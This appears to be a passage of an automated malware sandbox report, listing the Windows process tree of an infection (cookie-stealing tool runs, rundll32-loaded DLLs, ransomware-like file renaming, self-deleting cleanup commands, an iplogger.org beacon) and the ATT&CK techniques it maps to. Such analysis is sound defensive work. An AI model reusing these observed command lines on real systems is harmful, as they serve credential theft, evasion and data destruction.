C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
PID:6872

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
PID:5060

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_7.exe
4⤵
PID:1484

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4068

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2880

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\SysWOW64\cmd.exe
cmd
1⤵
PID:4904

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
2⤵
PID:5796

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
Acre.exe.com k
2⤵
PID:5768

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
3⤵
- Executes dropped EXE
PID:4900

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
4⤵
PID:4372

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
5⤵
- Executes dropped EXE
PID:6040

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
6⤵
- Executes dropped EXE
PID:6104

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
7⤵
- Executes dropped EXE
PID:4372

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
8⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:2228

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
9⤵
PID:6232

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
2⤵
- Runs ping.exe
PID:6068

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4156

C:\Windows\SysWOW64\explorer.exe
explorer https://iplogger.org/2LBCU6
1⤵
PID:4996

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:2160

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
PID:5024

C:\Users\Admin\AppData\Local\Temp\F56D.exe
C:\Users\Admin\AppData\Local\Temp\F56D.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2104

C:\Users\Admin\AppData\Local\Temp\F56D.exe
C:\Users\Admin\AppData\Local\Temp\F56D.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5384

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:5852

C:\Users\Admin\AppData\Local\Temp\F56D.exe
"C:\Users\Admin\AppData\Local\Temp\F56D.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Suspicious use of SetThreadContext
PID:5188

C:\Users\Admin\AppData\Local\Temp\F56D.exe
"C:\Users\Admin\AppData\Local\Temp\F56D.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Modifies extensions of user files
PID:6324

C:\Users\Admin\AppData\Local\6eeb210d-d04f-416a-bdaa-e62b21e747a3\build2.exe
"C:\Users\Admin\AppData\Local\6eeb210d-d04f-416a-bdaa-e62b21e747a3\build2.exe"
5⤵
- Suspicious use of SetThreadContext
PID:6716

C:\Users\Admin\AppData\Local\6eeb210d-d04f-416a-bdaa-e62b21e747a3\build2.exe
"C:\Users\Admin\AppData\Local\6eeb210d-d04f-416a-bdaa-e62b21e747a3\build2.exe"
6⤵
- Loads dropped DLL
- Checks processor information in registry
PID:6640

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\6eeb210d-d04f-416a-bdaa-e62b21e747a3\build2.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:6592

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
PID:6576

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
8⤵
- Kills process with taskkill
PID:6264

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:6896

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5320

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:5428

C:\Users\Admin\AppData\Local\Temp\63E7.exe
C:\Users\Admin\AppData\Local\Temp\63E7.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:6060

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 63E7.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\63E7.exe" & del C:\ProgramData\*.dll & exit
2⤵
PID:6196

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 63E7.exe /f
3⤵
- Kills process with taskkill
PID:6432

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
3⤵
- Delays execution with timeout.exe
PID:6576

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5748

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:6112

C:\Users\Admin\AppData\Local\Temp\8F5D.exe
C:\Users\Admin\AppData\Local\Temp\8F5D.exe
1⤵
PID:5008

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:5692

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:5544

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6304

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Executes dropped EXE
- Modifies registry class
PID:5768

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

File Permissions Modification

T1222

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery